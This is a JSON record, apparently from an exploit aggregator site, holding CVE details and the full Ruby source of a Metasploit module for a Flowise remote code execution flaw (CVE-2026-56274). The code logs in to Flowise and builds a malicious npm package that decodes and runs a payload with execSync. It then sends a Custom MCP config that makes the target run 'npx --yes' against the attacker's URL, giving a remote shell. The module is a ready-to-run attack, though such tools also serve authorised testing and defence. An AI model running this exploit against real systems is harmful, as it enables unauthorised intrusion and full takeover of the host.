{"exploit":{"id":"MSF-multi--http--flowise_mcp_rce","name":"Flowise MCP Server Remote Code Execution","description":"Flowise versions from 2.2.7 prior to 3.1.2 are vulnerable to remote code execution through the Custom MCP (Model Context Protocol) node configuration. The vulnerability exists in the /api/v1/node-load-method/customMCP endpoint, which accepts arbitrary command and argument configurations for MCP server initialization. An authenticated attacker can abuse the npx --yes flag to fetch and execute a malicious npm package from an attacker-controlled HTTP server, achieving arbitrary command execution on the Flowise host. This module creates a malicious npm package tar archive in memory, serves it via Metasploit's built-in HTTP server, then triggers the vulnerable endpoint to download and execute the package via npx. To interact with the obtained shell, use the command: sessions -i <id> (for example: sessions -i 1).","cves":["CVE-2026-56274"],"author":"cn-panda, ABDUL JAFAROV","published":"2026-06-23","platform":"Unix","type":"remote","language":"Ruby","source":"metasploit","sourceUrl":"https://github.com/rapid7/metasploit-framework/blob/90dfbaa741421d0179f9f371109c215d49400444/modules/exploits/multi/http/flowise_mcp_rce.rb","path":"modules/exploits/multi/http/flowise_mcp_rce.rb","revision":"90dfbaa741421d0179f9f371109c215d49400444","filename":"flowise_mcp_rce.rb","vulnerabilities":[{"id":"CVE-2026-56274","state":"PUBLISHED","title":"Flowise - Remote Code Execution via MCP Security Bypass in validateCommandFlags and validateArgsForLocalFileAccess","titleSource":"CVE Program","description":"Flowise before 3.1.2 contains multiple OS command injection vulnerabilities in the Custom MCP Server feature due to incomplete command-flag validation and a regex bypass in local file access restrictions. An attacker with a Flowise account of any role, or API access with view/update permissions for chatflows, can configure a malicious MCP server to bypass the validateCommandFlags blocklist (for example, 'docker build' is not blocked, and 'npx --yes' is not blocked while only '-y' is) and the validateArgsForLocalFileAccess checks, resulting in execution of arbitrary commands on the Flowise host.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2026-56274","cvss":{"version":"4.0","baseScore":8.7,"severity":"high","vectorString":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","source":"VulnCheck","sourceUrl":"https://www.cve.org/CVERecord?id=CVE-2026-56274"},"updatedAt":"2026-06-24T11:17:02.895Z","retrievedAt":"2026-11-25T16:15:43.184Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/MSF-multi--http--flowise_mcp_rce.png?v=2","url":"https://exploitbin.com/exploits/MSF-multi--http--flowise_mcp_rce","downloadUrl":"https://exploitbin.com/api/v1/exploits/MSF-multi--http--flowise_mcp_rce/download","codeUrl":"https://exploitbin.com/api/v1/exploits/MSF-multi--http--flowise_mcp_rce/code","licenseUrl":"https://exploitbin.com/sources#metasploit"},"code":"# frozen_string_literal: true\n\n##\n# This module requires Metasploit: https://metasploit.com/download\n# Current source: https://github.com/rapid7/metasploit-framework\n##\n\nclass MetasploitModule < Msf::Exploit::Remote\n  Rank = ExcellentRanking\n\n  include Msf::Exploit::Remote::HttpClient\n  include Msf::Exploit::Remote::HttpServer\n  include Msf::Exploit::Remote::HTTP::Flowise\n  prepend Msf::Exploit::Remote::AutoCheck\n\n  def initialize(info = {})\n    super(\n      update_info(\n        info,\n        'Name' => 'Flowise MCP Server Remote Code Execution',\n        'Description' => %q{\n          Flowise versions from 2.2.7 prior to 3.1.2 are vulnerable to remote code execution\n          through the Custom MCP (Model Context Protocol) node configuration.\n\n          The vulnerability exists in the /api/v1/node-load-method/customMCP endpoint,\n          which accepts arbitrary command and argument configurations for MCP server\n          initialization. An authenticated attacker can abuse the npx --yes flag to\n          fetch and execute a malicious npm package from an attacker-controlled HTTP\n          server, achieving arbitrary command execution on the Flowise host.\n\n          This module creates a malicious npm package tar archive in memory, serves it\n          via Metasploit's built-in HTTP server, then triggers the vulnerable endpoint\n          to download and execute the package via npx.\n\n          To interact with the obtained shell, use the command: sessions -i <id>\n          (for example: sessions -i 1).\n        },\n        'License' => MSF_LICENSE,\n        'Author' => [\n          'cn-panda', # Vulnerability discovery\n          'ABDUL JAFAROV <https://github.com/jafarov007>' # Metasploit module\n        ],\n        'References' => [\n          ['CVE', '2026-56274'],\n          ['CWE', '78'],\n          ['GHSA', 'GHSA-m99r-2hxc-cp3q']\n        ],\n        'DisclosureDate' => '2026-06-23',\n        'Targets' => [\n          ['Unix Command', { 'Platform' => 'unix', 'Arch' => ARCH_CMD }]\n        ],\n        'DefaultTarget' => 0,\n        'Privileged' => false,\n        'Notes' => {\n          'Stability' => [CRASH_SAFE],\n          'Reliability' => [REPEATABLE_SESSION],\n          'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS]\n        }\n      )\n    )\n\n    register_options([\n      OptString.new('TARGETURI', [true, 'Flowise base path', '/']),\n      OptString.new('USERNAME', [false, 'Flowise username (email)']),\n      OptString.new('PASSWORD', [false, 'Flowise password']),\n      Opt::RPORT(3000)\n    ])\n  end\n\n  def check\n    version = flowise_get_version\n    return Exploit::CheckCode::Unknown('Unable to determine Flowise version') unless version\n\n    report_service(host: rhost, port: rport, name: 'http', proto: 'tcp', info: \"Flowise #{version}\")\n\n    if version < Rex::Version.new('2.2.7')\n      return Exploit::CheckCode::Safe(\"Flowise #{version} does not feature customMCP support\")\n    end\n\n    if version < Rex::Version.new('3.1.2')\n      return Exploit::CheckCode::Appears(\"Flowise #{version} detected\")\n    end\n\n    Exploit::CheckCode::Safe(\"Target is running patched version #{version}\")\n  end\n\n  # Build the malicious npm package tar archive entirely in memory.\n  # npm/npx expects tar entries under a \"package/\" prefix directory.\n  def create_tar_package\n    print_status('Building malicious npm package tar in memory...')\n\n    index_js = <<~JS\n      #!/usr/bin/env node\n      const { execSync } = require('child_process');\n      try { execSync(Buffer.from('#{Rex::Text.encode_base64(payload.encoded)}','base64').toString(), { stdio: 'inherit' }); } catch (e) {}\n    JS\n\n    package_json = {\n      'name' => 'attacker-mcp-pkg',\n      'version' => '1.0.0',\n      'bin' => {\n        'attacker-mcp-pkg' => './index.js'\n      }\n    }.to_json\n\n    tar_io = StringIO.new\n\n    Rex::Tar::Writer.new(tar_io) do |tar|\n      tar.add_file('package/package.json', 0o644) do |f|\n        f.write(package_json)\n      end\n\n      tar.add_file('package/index.js', 0o755) do |f|\n        f.write(index_js)\n      end\n    end\n\n    tar_io.seek(0)\n    data = tar_io.read\n    tar_io.close\n\n    print_good(\"Tar package built in memory (#{data.bytesize} bytes)\")\n    data\n  end\n\n  # HttpServer callback -- serves the tar package to npx.\n  # Receives requests matching the auto-generated URIPATH.\n  def on_request_uri(cli, request)\n    print_good(\"Serving malicious tar package to #{cli.peerhost} (#{request.method} #{request.uri})\")\n    send_response(cli, @tar_data, {\n      'Content-Type' => 'application/x-tar',\n      'Content-Disposition' => 'attachment; filename=msf.tar'\n    })\n  end\n\n  # Ensure randomly generated URIPATH contains only lower-case characters for npx compatibility\n  def random_uri\n    '/' + Rex::Text.rand_text_alpha_lower(rand(6..15))\n  end\n\n  # Called automatically by HttpServer once the server is ready.\n  # This is where we perform the client-side attack.\n  def primer\n    @tar_data = create_tar_package\n\n    if get_resource != get_resource.downcase\n      hardcoded_uripath(get_resource.downcase)\n    end\n\n    if flowise_requires_auth?\n      print_status(\"Authenticating as #{datastore['USERNAME']}...\")\n      flowise_login(datastore['USERNAME'], datastore['PASSWORD'])\n    end\n\n    report_service(host: rhost, port: rport, name: 'http', proto: 'tcp')\n    send_exploit_payload\n  end\n\n  def send_exploit_payload\n    tar_url = get_uri.downcase\n\n    print_status(\"Sending malicious MCP node config (tar URL: #{tar_url})...\")\n\n    mcp_server_config = {\n      'command' => 'npx',\n      'args' => ['--yes', tar_url]\n    }\n\n    node_data = {\n      'loadMethods' => {},\n      'label' => 'Custom MCP',\n      'name' => 'customMCP',\n      'version' => 1.1,\n      'type' => 'Custom MCP Tool',\n      'icon' => '/usr/local/lib/node_modules/flowise/node_modules/flowise-components/dist/nodes/tools/MCP/CustomMCP/customMCP.png',\n      'category' => 'Tools (MCP)',\n      'description' => 'Custom MCP Config',\n      'inputs' => {\n        'mcpServerConfig' => mcp_server_config.to_json,\n        'mcpActions' => ''\n      },\n      'baseClasses' => ['Tool'],\n      'filePath' => '/usr/local/lib/node_modules/flowise/node_modules/flowise-components/dist/nodes/tools/MCP/CustomMCP/CustomMCP.js',\n      'inputAnchors' => [],\n      'inputParams' => [\n        {\n          'label' => 'MCP Server Config',\n          'name' => 'mcpServerConfig',\n          'type' => 'code',\n          'hideCodeExecute' => true,\n          'hint' => {\n            'label' => 'How to use',\n            'value' => \"\\nYou can use variables in the MCP Server Config with double curly braces `{{ }}` and prefix `$vars.<variableName>`.\"\n          },\n          'placeholder' => \"{\\n    \\\"command\\\": \\\"npx\\\",\\n    \\\"args\\\": [\\\"-y\\\", \\\"@modelcontextprotocol/server-filesystem\\\", \\\"/path/to/allowed/files\\\"]\\n}\",\n          'id' => 'customMCP_0-input-mcpServerConfig-code',\n          'display' => true\n        },\n        {\n          'label' => 'Available Actions',\n          'name' => 'mcpActions',\n          'type' => 'asyncMultiOptions',\n          'loadMethod' => 'listActions',\n          'refresh' => true,\n          'id' => 'customMCP_0-input-mcpActions-asyncMultiOptions',\n          'display' => true\n        }\n      ],\n      'outputs' => {},\n      'outputAnchors' => [\n        {\n          'id' => 'customMCP_0-output-customMCP-Tool',\n          'name' => 'customMCP',\n          'label' => 'Custom MCP Tool',\n          'description' => 'Custom MCP Config',\n          'type' => 'Tool'\n        }\n      ],\n      'id' => 'customMCP_0',\n      'selected' => true,\n      'loadMethod' => 'listActions',\n      'previousNodes' => [],\n      'currentNode' => {\n        'id' => 'customMCP_0',\n        'name' => 'customMCP',\n        'label' => 'Custom MCP',\n        'inputs' => {\n          'mcpServerConfig' => mcp_server_config.to_json,\n          'mcpActions' => ''\n        }\n      }\n    }\n\n    res = flowise_send_custommcp_request(node_data)\n    if res\n      print_good('Exploit payload delivered successfully')\n      print_status('Waiting for npx to fetch tar and execute payload...')\n    else\n      print_warning('Exploit request failed')\n    end\n  end\nend\n","sha256":"9d6225e629a8bd2e6123637439d35f36ad26a4d91ae5d8449fd885f379ce753c","bytes":8122,"fetchedAt":"2026-11-25T16:31:00.797Z","encoding":"utf-8 (display only; download retains original bytes)"}